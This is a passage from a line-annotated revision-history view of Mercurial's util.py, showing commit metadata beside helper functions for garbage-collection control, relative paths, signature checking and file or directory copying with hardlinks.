util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1770 def nogc(func): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1771 """disable garbage collector |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1772 |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1773 Python's garbage collector triggers a GC each time a certain number of |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1774 container objects (the number being defined by gc.get_threshold()) are |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1775 allocated even when marked not to be tracked by the collector. Tracking has |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1776 no effect on when GCs are triggered, only on what objects the GC looks |
23543
4dd8a6a1240d
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23495
diff
changeset
|
1777 into. As a workaround, disable GC while building complex (huge) |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1778 containers. |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1779 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1780 This garbage collector issue have been fixed in 2.7. But it still affect |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1781 CPython's performance. |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1782 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1783 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1784 def wrapper(*args, **kwargs): |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1785 gcenabled = gc.isenabled() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1786 gc.disable() |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1787 try: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1788 return func(*args, **kwargs) |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1789 finally: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1790 if gcenabled: |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1791 gc.enable() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1792 |
23495
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1793 return wrapper |
b25f07cb5399
util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23370
diff
changeset
|
1794 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1795 |
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1796 if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1797 # PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1798 nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1799 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1800 |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1801 def pathto(root, n1, n2): |
886
509de8ab6f31
Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents:
884
diff
changeset
|
1802 '''return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1803 root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1804 n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1805 n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1806 returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1807 |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1808 If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1809 relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1810 n2 should always be relative to root. |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1811 ''' |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1812 if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1813 return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1814 if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1815 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1816 return os.path.join(root, localpath(n2)) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1817 n2 = b'/'.join((pconvert(root), n2)) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1818 a, b = splitpath(n1), n2.split(b'/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1819 a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1820 b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1821 while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1822 a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1823 b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1824 b.reverse() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1825 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1826 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1827 |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1828 # the location of data files matching the source code |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1829 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app': |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1830 # executable version (py2exe) doesn't support __file__ |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
1831 datapath = os.path.dirname(pycompat.sysexecutable) |
22633
92b54547ac5d
util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents:
22632
diff
changeset
|
1832 else: |
31074
2912b06905dc
py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30988
diff
changeset
|
1833 datapath = os.path.dirname(pycompat.fsencode(__file__)) |
30301
8321b083a83d
py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30265
diff
changeset
|
1834 |
22638
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1835 i18n.setdatapath(datapath) |
0d0350cfc7ab
i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents:
22633
diff
changeset
|
1836 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1837 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1838 def checksignature(func): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1839 '''wrap a function with code to check for calling errors''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1840 |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1841 def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1842 try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1843 return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1844 except TypeError: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1845 if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
7646 | 1846 raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1847 raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1848 |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1849 return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1850 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1851 |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1852 # a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1853 _hardlinkfswhitelist = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1854 b'apfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1855 b'btrfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1856 b'ext2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1857 b'ext3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1858 b'ext4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1859 b'hfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1860 b'jfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1861 b'NTFS', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1862 b'reiserfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1863 b'tmpfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1864 b'ufs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1865 b'xfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1866 b'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1867 } |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1868 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1869 |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1870 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1871 '''copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1872 atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1873 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1874 checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1875 destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1876 repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1877 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1878 copystat and checkambig should be exclusive. |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1879 ''' |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1880 assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1881 oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1882 if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1883 if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1884 oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1885 unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1886 if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1887 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1888 # unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1889 try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1890 fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1891 except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1892 fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1893 if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1894 hardlink = False |
31577 | 1895 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1896 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1897 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1898 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1899 except (IOError, OSError): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1900 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1901 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1902 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1903 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1904 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1905 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1906 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1907 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1908 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1909 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1910 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1911 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1912 shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1913 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1914 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1915 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1916 # stat of copied file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1917 advanced = ( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1918 oldstat.stat[stat.ST_MTIME] + 1 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1919 ) & 0x7FFFFFFF |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1920 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1921 except shutil.Error as inst: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
1922 raise error.Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1923 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1924 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1925 def copyfiles(src, dst, hardlink=None, progress=None): |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1926 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1927 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1928 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1929 def settopic(): |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1930 if progress: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1931 progress.topic = _(b'linking') if hardlink else _(b'copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1932 |
1207 | 1933 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1934 if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1935 hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1936 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1937 ) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1938 settopic() |
1207 | 1939 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1940 for name, kind in listdir(src): |
1207 | 1941 srcname = os.path.join(src, name) |
1942 dstname = os.path.join(dst, name) | |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1943 hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1944 num += n |
1207 | 1945 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1946 if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1947 hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1948 os.stat(os.path.dirname(src)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1949 == os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1950 ) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1951 settopic() |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1952 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1953 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1954 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1955 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1956 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1957 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1958 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
